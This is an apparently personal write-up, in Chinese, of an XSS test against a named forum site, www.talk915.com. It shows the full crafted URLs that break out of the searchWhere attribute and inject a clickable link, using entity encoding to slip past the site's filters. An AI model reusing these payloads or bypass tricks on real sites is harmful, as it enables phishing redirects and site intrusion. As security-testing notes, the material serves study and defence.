xss渗透试验（２）

工具：appscan

站点：www.talk915.com

浏览器：IE８，firefox

方法：插入

由于浏览器在地址内容进行正则的匹配，那么，只能换取一种方式，注入一个超链接标签，而不是直接执行。且这个超链接标签可以诱使用户去点击。

 

由于XSS攻击脚本还是基于html标签补齐。而SearchWhere所在的标签

value=""/>

 

由于输入的内容实际上在value里。比如输入1234，就会变成

 

那么，假如输入的内容是

1234">more result

就会变成

1234">http://www.bing.com>more result"/>

测试一下

firefox:

IE8:

效果不是很好。

把输入内容改为

1234">more result 
  
 
  
firefox：
 
   
  
 
  
 
  
说明这个内容是OK的。
 
  
 
 
  
可以拼URL
 
  
http://www.talk915.com/forum/forum_community.action?struts.token.name=token&token=G2TQIXRNK8P5ZD8YNR6A2YHST2P0JU7W&title=&author=&content=&titles=&titleType=&forumId=&orderBy=&excellent=&selectTitle=&page.currentPage=1&postForumId=&postContent=&postAdd=&postId=&oldForumId=&openPost=&postAudio=&postAudioLength=&postStatus=&img_url_length=64&expression_url_length=46&upload_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsUpload&download_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsDownload%3FFILE_ID%3D&pathUrl=http%3A%2F%2Fwww.talk915.com%3A80%2F&userToken=&searchWhere=1234">moreresult 
  
 
  
IE8:
 
   
  
 
  
且那个超链接变成：
 
  
http://www#bing#com>more result
 
  
 
 
  
可以拼URL一下，把点改成%2E
 
  
http://www.talk915.com/forum/forum_community.action?struts.token.name=token&token=G2TQIXRNK8P5ZD8YNR6A2YHST2P0JU7W&title=&author=&content=&titles=&titleType=&forumId=&orderBy=&excellent=&selectTitle=&page.currentPage=1&postForumId=&postContent=&postAdd=&postId=&oldForumId=&openPost=&postAudio=&postAudioLength=&postStatus=&img_url_length=64&expression_url_length=46&upload_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsUpload&download_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsDownload%3FFILE_ID%3D&pathUrl=http%3A%2F%2Fwww.talk915.com%3A80%2F&userToken=&searchWhere=1234">moreresult.，再尝试一下：
 
  
http://www.talk915.com/forum/forum_community.action?struts.token.name=token&token=G2TQIXRNK8P5ZD8YNR6A2YHST2P0JU7W&title=&author=&content=&titles=&titleType=&forumId=&orderBy=&excellent=&selectTitle=&page.currentPage=1&postForumId=&postContent=&postAdd=&postId=&oldForumId=&openPost=&postAudio=&postAudioLength=&postStatus=&img_url_length=64&expression_url_length=46&upload_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsUpload&download_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsDownload%3FFILE_ID%3D&pathUrl=http%3A%2F%2Fwww.talk915.com%3A80%2F&userToken=&searchWhere=1234">more result&forumListId=4&selectForumId=1&postTitle=1234
 
  
 
 
  
IE8：
 
   
  
 
  
超链接不见了。说明它对http://之类的正则可能也有筛选。
 
  
 
 
  
通过appscan的一个工具，把URL拼成这样
 
  
http://www.talk915.com/forum/forum_community.action?struts.token.name=token&token=G2TQIXRNK8P5ZD8YNR6A2YHST2P0JU7W&title=&author=&content=&titles=&titleType=&forumId=&orderBy=&excellent=&selectTitle=&page.currentPage=1&postForumId=&postContent=&postAdd=&postId=&oldForumId=&openPost=&postAudio=&postAudioLength=&postStatus=&img_url_length=64&expression_url_length=46&upload_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsUpload&download_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsDownload%3FFILE_ID%3D&pathUrl=http%3A%2F%2Fwww.talk915.com%3A80%2F&userToken=&searchWhere=1234"%20%2f%3e%3ca+href%3d%22http%3a%2f%2fwww%26%23x2e;bing%26%23x2e;com%22%3emore+result%3c%2fa%3e%3ca+href%3d%22&forumListId=4&selectForumId=1&postTitle=1234
 
  
测试一下：
 
   
  
 
  
点击more result可以跳转到bing.com